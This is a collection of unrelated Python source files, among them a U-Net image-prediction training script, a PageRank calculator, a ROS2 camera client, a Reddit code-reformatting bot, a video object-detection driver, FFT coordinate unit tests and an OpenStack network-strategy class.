    sys.exit(0)


from google.colab import drive
drive.mount('/content/drive')

import numpy as np
import matplotlib.pyplot as plt
from keras.callbacks import EarlyStopping, ModelCheckpoint, ReduceLROnPlateau
import tensorflow as tf
import keras
import os
import cv2
from keras.optimizers import Adam, RMSprop, SGD
from EfficientUnet.efficientunet import _get_efficient_unet
from EfficientUnet.efficientnet import get_efficientnet_b5_encoder

from sklearn.metrics import mean_absolute_error
from skimage.measure import compare_ssim, compare_psnr

def measurement(func, **kwargs):
    val = func(kwargs["img1"], kwargs["img2"])
    print(val)
    return val

def evaluate(model, test_X, test_met, test_sat, test_Y):
  print('evalation')

  fp = model.predict([test_X, test_met, test_sat])
  print(fp.shape)

  y_pred = fp.reshape(24, 128, 128)
  test = test_Y.reshape(24, 128, 128)

  num_data = len(y_pred)
  maes= 0
  psnrs = 0
  ssims = 0
  for idx, (pr, im) in enumerate(zip(y_pred, test)):
    plt.imshow(pr, 'gray'),plt.show()
    plt.imshow(im, 'gray'),plt.show()
    print(idx, mean_absolute_error(pr, im))
    maes += mean_absolute_error(pr, im)
    psnrs += measurement(compare_psnr, img1=im, img2=pr)
    ssims += measurement(compare_ssim, img1=im, img2=pr)

  print('total mae', maes/num_data)
  print('total psnr', psnrs/num_data)
  print('total ssim', ssims/num_data)

def train():
  # load train daata
  X = np.load('/content/drive/My Drive/train_unet/train_X.npy')
  X = X.reshape(10, 128, 128, 1)
  Xs = X/255
  print(Xs.max(), Xs.min(), Xs.shape)

  y = np.load('/content/drive/My Drive/train_unet/target_X.npy')
  Y = y.reshape(10, 128, 128, 24)
  Ys = Y/255
  print(Ys.max(), Ys.min(), Ys.shape)

  sat = np.load('/content/drive/My Drive/train_unet/sat_X.npy')
  sat = sat.reshape(10, 128, 128, 8)
  sats = sat/255
  print(sats.shape)

  wind = np.load('/content/drive/My Drive/train_unet/wind_X.npy')
  wind = wind.reshape(10, 64, 64, 8)
  winds = wind/255
  print(winds.shape)

  # load validation data
  v_X = np.load('/content/drive/My Drive/valid_unet/valid_X.npy')
  valid_X = v_X.reshape(1, 128, 128, 1)
  valid_X = valid_X/255

  v_y = np.load('/content/drive/My Drive/valid_unet/valid_target_X.npy')
  valid_Y = v_y.reshape(1, 128, 128, 24)
  valid_Y = valid_Y/255

  v_sat = np.load('/content/drive/My Drive/valid_unet/valid_sat.npy')
  valid_sat = v_sat.reshape(1, 128, 128, 8)
  valid_sat = valid_sat/255

  v_wind = np.load('/content/drive/My Drive/valid_unet/valid_wind.npy')
  valid_wind = v_wind.reshape(1, 64, 64, 8)
  valid_wind = valid_wind/255

  print(valid_X.shape, valid_Y.shape, valid_sat.shape, valid_wind.shape)

  # load model
  config = tf.ConfigProto()
  config.gpu_options.allow_growth = True

  input_shape = (128, 128, 1)
  met_shape = (64, 64, 8)
  sat_shape = (128, 128, 8)
  out_channels = 24

  encoder = get_efficientnet_b5_encoder(input_shape, pretrained=False)
  model = _get_efficient_unet(encoder, met_shape, sat_shape, out_channels=out_channels,
                              concat_input=True, fpa=None, hypercolumn=True)
  model.compile(loss='mean_squared_error', optimizer=Adam(lr=0.001))
  model.summary()

  # train
  model.fit(x=[Xs, winds, sats], y=Ys, batch_size=2, epochs=100000,
            validation_data=([valid_X, valid_wind, valid_sat], valid_Y))

  return model

def predict(model):
  # load test data
  test_wind = np.load('/content/drive/My Drive/test_unet/test2/wind2.npy')
  test_wind = test_wind.reshape(1, 64, 64, 8)
  test_winds = test_wind/255

  test_sat = np.load('/content/drive/My Drive/test_unet/test2/test_sat2.npy')
  test_sat = test_sat.reshape(1, 128, 128, 8)
  #test_sat[test_sat<63]=0
  #test_sat[test_sat>220]=255
  test_sats = test_sat/255
  test_sats.shape
  print(test_winds.shape, test_sats.shape, test_sats.min(), test_sats.max())

  test_Y = np.load('/content/drive/My Drive/test_unet/test2/test_Y2.npy')
  tX = '2018-08-08-23-00.fv.png'
  tX = cv2.imread(tX, 0)
  test_X = cv2.resize(tX, (128, 128))
  test_X = test_X.reshape(1, 128, 128, 1)
  #test_X[test_X<63]=0
  #test_X[test_X>220]=255
  test_X = test_X/255
  print(test_X.shape, test_Y.shape, test_X.max(), test_X.min())

  evaluate(model, test_X, test_winds, test_sats, test_Y)

if __name__ == '__main__':
  model = train()
  predict(model)


def uniqueEmails(emails):
    uniq_mails = set()

    for email in emails:
        formatted_email = ''
        splits = email.split('@')

        flag = True
        for c in splits[0]:
            if c=='+':
                flag=False
            if c=='.':
                continue
            if flag:
                formatted_email+=c

        uniq_mails.add(formatted_email+'@'+splits[1])

    return len(list(uniq_mails))

print(uniqueEmails(["test.email+alex@leetcode.com","test.email.leet+alex@code.com"]))

Interview Questions/Unique Email Addresses.py


class Page:
    def __init__(self, id, ins, outs):
        self.id = id
        self.ins = ins
        self.outs = outs
        self.rank = 1

def calc(pages, iters=100, damp=0.85):
    for i in range(iters):
        for (docId, page) in pages.items():
            sums = 0
            for ii in page.ins:
                sums += pages[ii].rank / len(pages[ii].outs)
            page.rank = 1 - damp + damp * sums
    sums = 0
    for (docId, page) in pages.items():
        print('%s: %s'%(docId, page.rank))
        sums += page.rank
    print('sum: %s'%sums)

count = int(input("number of pages: "))
pages = {}
for i in range(count):
    docId = input("id for page %d: "%(i+1))
    pages[docId] = Page(docId, [], [])

linkCount = int(input('numbers of links: '))
for i in range(linkCount):
    [out, to] = input('from and to: ').split(' ')
    pages[out].outs.append(to)
    pages[to].ins.append(out)
print()
calc(pages)


#!/usr/bin/env python3

from numpy import float32
import rclpy
from rclpy.node import Node

import cv2
from cv_bridge import CvBridge

from udemy_ros2_pkg.srv import TurnCamera

class TurnCameraClient(Node):
    def __init__(self):
        super().__init__('Turn_camera_service_client_node')
        self.client=self.create_client(TurnCamera, 'turn_camera')
        self.req=TurnCamera.Request()

    def send_request(self,imageangle):
        self.req.angle=float(imageangle)
        self.client.wait_for_service()
        self.future=self.client.call_async(self.req)
        rclpy.spin_until_future_complete(self,self.future)

        self.result=self.future.result()

        return self.result.image

    def display_image(self, image_msg):
        image=CvBridge().imgmsg_to_cv2(image_msg)
        cv2.imshow("The response Image", image)
        cv2.waitKey(0)
        cv2.destroyAllWindows()

def main(args=None):
    rclpy.init()
    client_node=TurnCameraClient()					#function Calling
    print("TurnCamera service client Running..")

    try:
        user_input=input("Enter an angle(0,15,30): ")
        res=client_node.send_request(user_input)
        client_node.display_image(res)

      #keyboard interrupt for stopping Node
    except KeyboardInterrupt:
        print("Terminating Node..")
        client_node.destroy_node()

if __name__ == '__main__':
    main()


from math import log10, sqrt
# import cv2
import numpy as np
from PIL import Image

def PSNR(original, compressed):
    mse = np.mean((original - compressed) ** 2)
    print(mse)
    if mse == 0:  # MSE is zero means no noise is present in the signal .
        # Therefore PSNR have no importance.
        return 100
    max_pixel = 255.0
    psnr = 20 * log10(max_pixel / sqrt(mse))
    return psnr

def main():
    img1 = Image.open("images/dumy/astronot.png", 'r')
    print(img1.mode)
    img2 = Image.open("images/dumy/5-astronot.png", 'r')
    print(img2.mode)
    original = np.array(list(img1.getdata()))
    compressed = np.array(list(img2.getdata()))
    # original = cv2.imread("images/olenna.png")
    # compressed = cv2.imread("images/Lenna.png", 1)
    value = PSNR(original, compressed)
    print(f"PSNR value is {value} dB")

main()

# import numpy as np
# import cv2
# import math
#
#
# def pengujian(var1, var2):
#     mse = np.mean((var1 - var2) ** 2)
#     file = open('mse.txt', "w+")
#     file.write(str(mse))
#     file.close()
#     print(mse)
#
#     if mse == 0:
#         psnr = 'inf'
#         file = open('psnr.txt', "w+")
#         file.write(str(psnr))
#         print(psnr)
#     else:
#         psnr = 20 * math.log10(255.0 / math.sqrt(mse))
#         file = open('psnr.txt', "w+")
#         file.write(str(psnr))
#         print(psnr)
#     file.close()
#
#
# img = cv2.imread('images/Lenna.png')
# img1 = cv2.imread('images/Lenna_10.png')
#
# pengujian(img, img1)


import nltk
import time
import os
import datetime
import gzip
import kmlistfi
import random
from random import shuffle
import logging
from nltk.tokenize.treebank import TreebankWordTokenizer, TreebankWordDetokenizer
from nltk.corpus import brown
from nltk.metrics import ConfusionMatrix
import ast
import codeop

from utils import archiveAndUpdateReddit
from utils import buildComment

'''
Tools to take a reddit message and classify lines as code or text

Keith Murray
email: kmurrayis@gmail.com

Notes
---
`buildTextCodeClassifier` uses NLTK's Naive Bayes Classifier to
build a classifier based on the nltk provided Brown 'news' dataset

Future Improvements:
Explore better classifiers. Under this incarnation of the bayes
classifier, the line is either code or text with near complete
confidence, even when it's wrong.

Markdown Parsers and other Useful Links
http://piumarta.com/software/peg/
https://github.com/jgm/peg-markdown/blob/master/markdown_parser.leg

'''

def loadAndShuffleCodeSample(flsource,returnSize):
    randomSeed = random.randint(0,1000)
    with open(flsource,'r') as fl:
        code = fl.readlines()
    random.Random(randomSeed).shuffle(code)
    logging.debug("Random Seed for Code Samples Shuffle: " + str(randomSeed))
    return [(x, 'code') for x in code[:returnSize]]

def mod_lz78(s, D={}, k=4):
    '''Almost the LZ78 compression scheme
    '''
    s = s.lower()
    s = s+'\n'
    s=s*k
    #print(s)
    i = 0
    word_len = 1
    while True:
        word_len = 1
        while s[i:i+word_len] in D:
            D[s[i:i+word_len]] +=1
            word_len += 1
            if (i+word_len)>=len(s):
                break
        if (i+word_len)<=len(s):
            D[s[i:i+word_len]] = 1
        else:
            break
        # Here is the LZ78 modification, based on my previous work with DNA profiling
        # This mod ruins data compression, but increases the profiling accuracy with DNA
        i = i+1#+word_len
        #print(i, word_len, D)
        #if i
    return D

def detokenize(token_text):
    detokenizer = TreebankWordDetokenizer()
    return detokenizer.detokenize(token_text)

def code_text_features(text):
    d = mod_lz78(text, {})
    d[0] = len(text)
    return d

def buildTextCodeClassifier(sourceDataPath):
    '''
    Takes in a training file filled with coding samples
    and uses the NLTK provided Brown News sentence corpus and builds

    MIGHT SOON BE DEPRECATED
    '''

    randomSeed = random.randint(0,1000)
    sampleSize = 2000
    # Load code samples
    #flsource = "misc/pyProgramTrainingLines.txt"
    code = loadAndShuffleCodeSample(sourceDataPath, returnSize=int(sampleSize/2))
    if len(code) < int(sampleSize/2):
        sampleSize = len(code)*2
        logging.warning("Warning: Not enough code. New sample size = " + str(sampleSize))
    #print(len(code))
    #print(code[:10])
    # Load comment samples
    #comments = [(x.text, 'text') for x in nltk.corpus.nps_chat.xml_posts()[:int(sampleSize/2)]]
    sents = brown.sents(categories='news')
    sents = [detokenize(sent) for sent in sents]
    #print(sents[0])
    comments = [(x, 'text') for x in sents[:int(sampleSize/2)]]
    logging.debug("Shuffling Code")
    posts = code+comments
    random.Random(randomSeed).shuffle(posts)
    #print(posts[:10])

    logging.debug("Random Seed for Training Shuffle: " + str(randomSeed))
    logging.debug("getting features")
    featureSets=[(code_text_features(post[0]), post[1]) for post in posts]
    test_cut = 0.1
    size = int(len(featureSets) * test_cut)
    train_set, test_set = featureSets[size:], featureSets[:size]
    logging.debug("Training Size: " + str( len(train_set)))
    logging.debug("Testing Size:  " + str( len(test_set)))
    logging.debug("  Training Model")
    classifier = nltk.NaiveBayesClassifier.train(train_set)
    logging.debug("  Model Accuracy: " + str(nltk.classify.accuracy(classifier, test_set)))
    '''
    ref = []
    tagged = []
    for i in range(len(test_set)):
        c = classifier.classify(test_set[i][0])
        tagged.append(c)
        ref.append(test_set[i][1])
        if i < 5:
            #print("Text:\n", test_set[i][0])
            print(test_set[i][1] + ':' + c + ' | Actually:Classified')
            #print("Classified: ", c)
            #print("Actually:   ", test_set[i][1])
    '''
    # I can't get the confusion matrix to work in a saved format.
    #logging.debug(str(ConfusionMatrix(ref, tagged)))
    return classifier#, train_set, test_set

def astAndCodeopClassifications(line):
    '''
    Checks to see if a line of text is valid python syntax

    The two modules it uses are `ast` and `codeop`, both a part of the
    standard library.
    This program checks the line first by using `ast.parse`.
    If ast throws a syntax error, it tries codeop.
    If that fails as well, it's deemed not code, although it should be
    noted it could be (invalid) code which is only a couple of character
    translations away from being valid.
    '''
    dedent_triggers = ['elif', 'else', 'except']
    dedent_triggers += [x+':' for x in dedent_triggers]
    line=line.strip() # Needed to remove whitespace
    if line.strip() in ['', '']:
        return 'emptyline'
    try:
        ast.parse(line.strip())
        c = 'code'
    except SyntaxError:
        # Possible it's still code, just the opening of a statement
        try:
            comp = codeop.compile_command(line)
            c = 'code' # regardless of comp being none or code object
        except SyntaxError:
            tokens = line.split()
            if tokens[0] in dedent_triggers and line[-1] == ':':
                # Need to manually handle dedent case, kinda hand wavey
                c = 'code'
            else:
                c = 'text'
        except ValueError:
            # Possible output, not sure how it's triggered though
            # https://docs.python.org/3/library/codeop.html#codeop.compile_command
            c = 'text'

    return c

def rewrapClassifications(line):
    '''
    This is a by hand curriated list of markdown circumstances which
    define code blocks.

    This function classifies a line as either empty, codeblock, code,
    or NA,

    empty: the line is either a newline character, or the value ``

    codeblock: A tripple ` is present, starting or ending a codeblock

    code: Either the line leads with at least 4 spaces, or the line starts
        and ends with a ` character.

    NA: The line contains text of some form, but it definetly isn't
        formatted as code

    '''
    # Function to by hand classify lines
    #  Should be used to bolster the naive bayes classifier
    if line.strip() in ['', '']:
        # 0 width space character, effective newline or standard newline
        c = 'emptyline'
    elif line.strip()[0:3] == '```':
        c = 'codeblock'
    elif line.strip()[0] == '`' and line.strip()[-1] == '`':
        c = 'code'
    elif line[:4] == '    ':
        c = 'code'
    else:
        c = 'NA'
    return c

def valid_python_syntax(line):
    '''
    Takes line and evalutes whether or not it follows BNF Grammar rules
    for the python language

    only returns false if the line definetly does not evaluate

    Does not care about the existence of varibles

    '''

    return

def id_Missing_Whitespace(codeBlock):
    '''
    Simple Hand Curiated 'missing whitespace' classifier.

    The code parses the text looking for a line which when stripped
    leads with an indent trigger. The unstripped indent level is noted
    then the next non emptyline is looked at

    Parses through presented message line by line, looks for code blocks
    In code blocks, checks for the pressence of 'def', 'if', 'elif', 'try',
    'except', 'else', 'while'

    This function assumes it's being handed valid code, not text

    references:
    https://docs.python.org/2.0/ref/logical.html
    https://docs.python.org/2.0/ref/indentation.html

    '''

    indentTriggerHeads = ['def', 'if', 'elif', 'else', 'try', 'except', 'while', 'for'
                            'class', 'with']
    indentTriggerTails = [':']
    emptyLine = ['', '']

    lines = codeBlock#.split('\n')
    root = 0
    level = root
    wsCount = 0
    i = 0
    while i < len(lines)-1:
        line = lines[i]
        if line.strip() not in emptyLine:
            tokens = line.strip().split()
            if (tokens[0] in indentTriggerHeads) and (tokens[-1][-1] in indentTriggerTails):
                # Whitespace Indent Should Occur
                pass
        i += 1

    return False

def whitespace_Error_Recovery():

    return

def classifyPostLines(textBlock, classifier):
    '''
    This classifier is pretty consistenly all or nothing
    A larger code base to train from will help significantly, but is not currently
    a critical requirement
    '''
    lines = textBlock.split('\n')
    classifications = []
    rwclassifications = []
    astClassifieds = []
    for line in lines:
        c = classifier.classify(code_text_features(line))
        classifications.append(c)
        rwc = rewrapClassifications(line)
        rwclassifications.append(rwc)
        astClassifieds.append(astAndCodeopClassifications(line))
        #print(c, rwc, line)
        '''
        print('\t>',c, line)
        dist = classifier.prob_classify(code_text_features(line.strip()))
        for label in dist.samples():
            print("\t\t>%s: %f" % (label, dist.prob(label)))
        '''
    return classifications, rwclassifications, astClassifieds

def alreadyCorrectlyFormatted(c, rwc, astc):
    '''
    Function itterates through the by rewrapped classifications
    and compares them to the naive bayes classifications. If there
    are no rewrapped 'NA' lines classified as 'code' by the naive bayes
    classifier, then it determines that the code has already been
    correctly formatted.

    Assumes there is no code present and if there is, it has been
    correctly formatted.
    '''
    codePresent = False
    correctlyFormatted = True
    for i in range(len(rwc)):
        if rwc[i] == 'code' or c[i] == 'code' or astc[i] == 'code':
            codePresent = True
        if rwc[i] == 'NA' and c[i] == 'code':
            correctlyFormatted = False
    return codePresent, correctlyFormatted

def reformat(text, classifier):
    # "/u/pythonHelperBot !reformat"
    # Assume that has been called already

    # Also assume bot is only called when reformat is needed
    msgPrefix = "Here's the best I could do:\n\n***\n"
    msgSuffix = """\n\n***\n[^(Code Formatting Help)](https://www.reddit.com/r/learnpython/wiki/faq#wiki_how_do_i_format_code.3F)
^(|)
[^(README)](https://github.com/CrakeNotSnowman/redditPythonHelper)
^(|)
[^(FAQ)](https://github.com/CrakeNotSnowman/redditPythonHelper/blob/master/FAQ.md)
^(|)
^(this bot is written and managed by /u/IAmKindOfCreative)
"""

    # Classify the lines in the text
    c, rwc, astc = classifyPostLines(text, classifier)
    codePresent, correctlyFormatted = alreadyCorrectlyFormatted(c, rwc, astc)
    sourceText = text.split('\n')
    #print(len(sourceText), len(c), len(rwc))
    assert (len(sourceText) == len(c)) and (len(c) == len(rwc))
    #print(sourceText, c, rwc)

    # Block out/split regions on 'emptyline' class
    # For block, if region is mostly code, add 4 spaces to the start of it
    # Remove leading and trailing "`" as necessary

    newMSG = ""

    msgBlock = []
    i = 0

    changesMade = False
    while i <len(c):
        textBlock = []
        codeLines = 0
        # Classify a block
        if len(c)>0:
            while  i <len(c) and (rwc[i] != 'emptyline'):
                textBlock.append(sourceText[i])
                if rwc[i] == 'code' or c[i] == 'code':
                    codeLines += 1
                i += 1

        # ID if block was a coding region
        if len(textBlock) > 0:
            if codeLines/float(len(textBlock)) >= 0.5:
                codeRegion = True
            else:
                codeRegion = False

            # Evaluate if the block is missing expected indent
            if codeRegion:
                missingWS = id_Missing_Whitespace(textBlock)

            # Add to the message block with spacer as necessary
            for line in textBlock:
                if codeRegion:
                    spacer = ' '*4
                    msgBlock.append(spacer+line)
                    changesMade = True
                else:
                    msgBlock.append(line)

        msgBlock.append('')
        i += 1
    newMSG = "\n".join(msgBlock)
    msg = msgPrefix + newMSG + msgSuffix
    #logging.info("Code Present: " + str(codePresent) + " | Correctly Formatted" + str(correctlyFormatted))
    return msg, changesMade, codePresent, correctlyFormatted

def remove_code_blocks(text, classifier):
    '''
    Strip out all lines of code for the bot to rework
    as [code block] for the selftext naive bayes classifier

    Returns the text of the post with the code blocks replaced by
    the key string 'CODE'
    '''
    code_blocked_text = ''

    # Classify the lines in the text
    c, rwc, astc = classifyPostLines(text, classifier)
    text = text.split('\n')

    line_types = []
    for i in range(len(c)):
        if rwc[i] in ['codeblock'] or astc[i] == 'code':
            line_types.append('c')
        elif rwc[i] == 'emptyline':
            if i > 0:
                line_types.append(line_types[-1])
            else:
                line_types.append('t')
        else:
            line_types.append('t')

    cb = False
    for i in range(len(text)):
        if line_types[i] == 'c':
            if cb == False:
                code_blocked_text += 'CODE\n'
                cb = True
        else:
            code_blocked_text += text[i] + '\n'

    return code_blocked_text

def loadSummoningHistory(sourcefl):
    submissions = {}
    reformatted = []
    summoners = []

    with open(sourcefl, 'r') as fl:
        for line in fl:
            if line.strip() != "":
                vals = line.strip().split('\t')
                subm = vals[0]
                ref = vals [1]
                summ = vals[3]
                if subm in submissions:
                    submissions[subm] += 1
                else:
                    submissions[subm] = 1
                reformatted.append(ref)
                summoners.append(summ)

    return submissions, reformatted, summoners

def saveSummoningAction(sourcefl,saveLine):
    # Submission ID, Parent Comment ID, Parent Author, Summoning Comment ID, Summoning Author, Summoning Comment Timestamp, summoning comment, Boolean if changes were made, was there code present, was the code correctly formated

    with open(sourcefl, 'a') as fl:
        fl.write(saveLine)
        fl.write('\n')

    return

def handleSummons(reddit, msg, codeVTextClassifier, quietMode, phbArcPaths, ageLimitHours=4):
    # Add more logging info to see who summoned etc
    # This is the reformat summons

    # Get necessary values:
    # Summoning Comment
    summonDBPath = os.path.join(phbArcPaths['phbActionsDir'], 'summoningHistory.txt')
    if msg.was_comment:
        summoning_comment = archiveAndUpdateReddit.get_comment_by_ID(reddit, comment_id= msg.id)
        if datetime.datetime.utcnow() - summoning_comment.created_utc > datetime.timedelta(hours=ageLimitHours):
            # It was too long ago
            logging.info("Post is older than allowed, "+ str(datetime.datetime.utcnow() - summoning_comment.created_utc))
            #logging.debug("Continuing action for testing")
            #pass
            return

        # Parent comment
        #parentID =
        parentID = summoning_comment.parent_id.split('_')[-1]
        if summoning_comment.parent_id == summoning_comment.link_id:
            # Parent comment is the post
            parent = archiveAndUpdateReddit.get_submission_by_ID(reddit, submission_id=parentID)
            textBlock = parent.selftext
        else:
            parent = archiveAndUpdateReddit.get_comment_by_ID(reddit, comment_id=parentID)
            textBlock = parent.body

        if summoning_comment.author == 'pythonHelperBot' or parent.author == 'pythonHelperBot':
            logging.info("Summoned and interacting with self, ignoring.")
            return

        # Verify that I haven't already reformated the parent comment
        #print(parent.id, summoning_comment.id, summoning_comment.created_utc)
        submissions, reformatted, summoners = loadSummoningHistory(summonDBPath)
        if summoning_comment.link_id in submissions:
            if submissions[summoning_comment.link_id] >= 3:
                logging.info("I've commented on this thread too many times, I'm ignoring all other summons")
                return
        if parent.id in reformatted:
            logging.info("I've already reformatted either this comment or the parent, I'm ignoring it")
            return
        if parent.id in summoners:
            logging.info("I've responding to this summoner, and will not reformat the summons")
            return
        if summoning_comment in reformatted:
            logging.info("I've reformatted this summons, I'm not responding to this summons")
            return
        if summoning_comment in summoners:
            logging.info("I've already responded to this summons")
            return

        # Attempt to reformat
        if parent.author == summoning_comment.author:
            # Add help formating prefix
            same_user_prefix = """Before I reformat this

            """
        msg, changesMade, codePresent, correctlyFormatted = reformat(textBlock, codeVTextClassifier)

        # Comment below the summoning comment with msg
        #  Only if comment is recent enough

        #quietMode = False # used for testing
        if not quietMode:
            # Save data saying I've commented on it
            saveLine = str(summoning_comment.link_id) + '\t'
            saveLine += str(parent.id) + '\t' + str(parent.author) + '\t'
            saveLine += str(summoning_comment.id)+ '\t' + str(summoning_comment.author) + '\t' + str(summoning_comment.created_utc) +'\t'+ str(summoning_comment.body.encode('ascii', 'ignore')).strip().replace('\n', ' ') + '\t'
            saveLine += str(changesMade) + '\t'+ str(codePresent) + '\t' + str(correctlyFormatted)

            logging.debug(saveLine)
            if codePresent and changesMade:
                saveSummoningAction(summonDBPath, saveLine)
                archiveAndUpdateReddit.commentOnComment(summoning_comment, msg, reddit, quietMode)
                logging.debug(msg.encode('ascii', 'ignore'))
            else:
                logging.info("Code Present: " +  str(codePresent) + " | Changes Made: " + str(changesMade) + " | Correctly Formatted: "+str(correctlyFormatted))
        else:
            logging.debug("Quiet Mode is active, no reformat comment made.")
            print(msg)

    return

def makeFormatHelpMessage(reddit, msg, quietMode, phbArcPaths):

    # Classify Formatting Issues

    # Build message based on specific issues present

    # Craft General Message to cover other bases

    return


import cv2 as cv
import os

from gtts import gTTS

from activity_detector import detect_activity
from constants import AUDIO_FILE_PATH
from floor_detector import detect_floor
from objects_detector import detect_objects

def read_video(video_src):
    frames = []

    cam = cv.VideoCapture(video_src)
    if not cam.isOpened():
        print("Could not open video_src " + str(video_src))

    cam.set(cv.CAP_PROP_POS_AVI_RATIO, 1)
    mhi_duration = cam.get(cv.CAP_PROP_POS_MSEC) * 5

    cam = cv.VideoCapture(video_src)
    if not cam.isOpened():
        print("Could not open video_src " + str(video_src))

    ret, frame = cam.read()
    if ret == False:
        print("Could not read from " + str(video_src))
    frames.append(frame)

    frame_no = 0

    while cam.isOpened():
        print("Frames" + str(frame_no))
        frame_no += 1
        ret, frame = cam.read()
        if ret == False:
            break
        frames.append(frame)

    return frames, mhi_duration

def read_video_generator(video_src):
    frames = []

    cam = cv.VideoCapture(video_src)
    if not cam.isOpened():
        print("Could not open video_src " + str(video_src))

    cam.set(cv.CAP_PROP_POS_AVI_RATIO, 1)
    mhi_duration = cam.get(cv.CAP_PROP_POS_MSEC) * 5

    cam = cv.VideoCapture(video_src)
    if not cam.isOpened():
        print("Could not open video_src " + str(video_src))

    ret, frame = cam.read()
    if ret == False:
        print("Could not read from " + str(video_src))
    # frames.append(frame)

    frame_no = 0

    while cam.isOpened():
        print("Frames" + str(frame_no))
        frame_no += 1
        if ret == False:
            return
        yield frame
        ret, frame = cam.read()

def speak(message):
    myobj = gTTS(text=message, lang='en', slow=False)
    myobj.save(AUDIO_FILE_PATH)
    # os.system("mpg321 " + AUDIO_FILE_PATH)
    os.remove(AUDIO_FILE_PATH)

def main():
    # video_src = "09062021/turtlebot-demo1.avi"
    video_src = "vacuum-robot.mp4"
    verbose = 2
    results_to_speech = False

    # frames, mhi_duration = read_video_generator(video_src)
    frames = read_video_generator(video_src)

    print('Here')

    # The following two tasks can be run in parallel.
    # Trigger floor detection mechanism.
    # TODO (once running on CPU is fixed).

    # Trigger object detection mechanism.
    objects = detect_objects(frames, verbose)

    # Filter object list according to the detected floor.
    # TODO

    # Trigger activity detection mechanism.
    # activity, conf = detect_activity(frames, mhi_duration, objects, verbose)

    if results_to_speech:
        speak("Detected objects: " + " and ".join(
            [obj.class_name for obj in objects]))
        speak("Detected activity: " + activity)

if __name__ == '__main__':
    main()


""" Unit processing_components for convolutional Gridding

"""
import random
import unittest

import numpy
from numpy.testing import assert_allclose

from rascil.processing_components.fourier_transforms.fft_coordinates import (
    w_beam,
    coordinates,
    coordinates2,
    coordinateBounds,
)

class TestFFTCoordinates(unittest.TestCase):
    @staticmethod
    def assertAlmostEqualScalar(a, result=1.0):
        result * numpy.ones_like(result)

    def test_coordinates(self):
        for N in [4, 5, 6, 7, 8, 9, 1000, 1001, 1002, 1003]:
            low, high = coordinateBounds(N)
            c = coordinates(N)
            cx, cy = coordinates2(N)
            self.assertAlmostEqual(numpy.min(c), low)
            self.assertAlmostEqual(numpy.max(c), high)
            self.assertAlmostEqual(numpy.min(cx), low)
            self.assertAlmostEqual(numpy.max(cx), high)
            self.assertAlmostEqual(numpy.min(cy), low)
            self.assertAlmostEqual(numpy.max(cy), high)
            assert c[N // 2] == 0
            assert (cx[N // 2, :] == 0).all()
            assert (cy[:, N // 2] == 0).all()

    @staticmethod
    def _test_pattern(npixel):
        return coordinates2(npixel)[0] + coordinates2(npixel)[1] * 1j

    def test_w_kernel_beam(self):
        assert_allclose(numpy.real(w_beam(5, 0.1, 0))[0, 0], 1.0)
        self.assertAlmostEqualScalar(w_beam(5, 0.1, 100)[2, 2], 1)
        self.assertAlmostEqualScalar(w_beam(10, 0.1, 100)[5, 5], 1)
        self.assertAlmostEqualScalar(w_beam(11, 0.1, 1000)[5, 5], 1)

if __name__ == "__main__":
    unittest.main()


import json

from neutron._i18n import _
from oslo_config import cfg
from oslo_log import log as logging

LOG = logging.getLogger(__name__)
CONF = cfg.CONF

quark_opts = [
    cfg.StrOpt('default_net_strategy', default='{}',
               help=_("Default network assignment strategy")),
    cfg.StrOpt('public_net_id', default='00000000-0000-0000-0000-000000000000',
               help=_("Public network id"))
]
CONF.register_opts(quark_opts, "QUARK")

class JSONStrategy(object):
    def __init__(self, strategy=None):
        self.subnet_strategy = {}
        self.strategy = {}
        self.load(strategy)

    def load(self, strategy=None):
        if not strategy:
            self._compile_strategy(CONF.QUARK.default_net_strategy)
        else:
            self._compile_strategy(strategy)

    def _compile_strategy(self, strategy):
        self.strategy = json.loads(strategy)
        for net_id, meta in self.strategy.iteritems():
            if "subnets" in meta:
                for ip_version, subnet_id in meta["subnets"].iteritems():
                    self.subnet_strategy[subnet_id] = {
                        "ip_version": ip_version,
                        "network_id": net_id}
            else:
                LOG.warning('net_id {} strategy has no "subnets" '
                            'metadata.'.format(net_id))

    def _split(self, func, resource_ids):
        provider = []
        tenant = []
        for res_id in resource_ids:
            if func(res_id):
                provider.append(res_id)
            else:
                tenant.append(res_id)
        return tenant, provider

    def split_network_ids(self, net_ids):
        return self._split(self.is_provider_network, net_ids)

    def split_subnet_ids(self, subnet_ids):
        return self._split(self.is_provider_subnet, subnet_ids)

    def get_provider_networks(self):
        return sorted(self.strategy.keys())

    def get_provider_subnets(self):
        return sorted(self.subnet_strategy.keys())

    def get_provider_subnet_id(self, net_id, ip_version):
        if net_id not in self.strategy:
            return None
        return self.strategy[net_id]["subnets"][str(ip_version)]

    def get_network(self, net_id):
        return self.strategy.get(net_id)

    def is_provider_network(self, net_id):
        return self.strategy.get(net_id) is not None

    def is_provider_subnet(self, subnet_id):
        return subnet_id in self.subnet_strategy

    def subnet_ids_for_network(self, net_id):
        if net_id in self.strategy:
            subnets = self.strategy.get(net_id)["subnets"]
            return [subnet_id for ip_version, subnet_id in subnets.iteritems()]

    def get_network_for_subnet(self, subnet_id):
        if subnet_id not in self.subnet_strategy:
            return None
        return self.subnet_strategy.get(subnet_id)["network_id"]

    def get_public_net_id(self):
        """Returns the public net id"""
        for id, net_params in self.strategy.iteritems():
            if id == CONF.QUARK.public_net_id:
                return id
        return None

STRATEGY = JSONStrategy()


# Задана натуральная степень k. Сформировать случайным образом список коэффициентов (значения от 0 до 100)
# многочлена и записать в файл многочлен степени k.

# Пример:
# - k=2 => 2*x² + 4*x + 5 = 0 или x² + 5 = 0 или 10*x² = 0
from random import randint

k = int(input('Введите значение степени k: '))
arr = []
if k > 0:
    while k >= 2:
        arr.append(f'{randint(0,100)}*x**{k}+')
        k -= 1
    arr.append(f'{randint(0,100)}*x+{randint(0,100)}=0')
    arr_final = [''.join(arr)]
    print(arr_final)
elif k == 0:
    print('Корней нет')
data = open('file.txt', 'w')
data.writelines(arr_final)
data.close()


from .sensor import SensorHandler

# debug testing
if __name__ == '__main__':
    # fire up the class to read the sensor
    sh0 = SensorHandler(sensor_number=0)
    sh1 = SensorHandler(sensor_number=1)

    print("Sensor 0")
    print(f'Current mode: {sh0.debug_mode}, Sensor: {sh0.sensor_type}')
    print(f'standard units: {sh0.standard_units}, Sea level pressure: {sh0.bmp.sea_level_pressure}')

    print("Sensor 1")
    print(f'Current mode: {sh1.debug_mode}, Sensor: {sh1.sensor_type}')
    print(f'standard units: {sh1.standard_units}, Sea level pressure: {sh1.bmp.sea_level_pressure}')

    count = 1

    # forever
    while True:
        try:
            print(f'\nTest number: {count}')

            # get the temperature
            temperature0 = sh0.get_temperature()
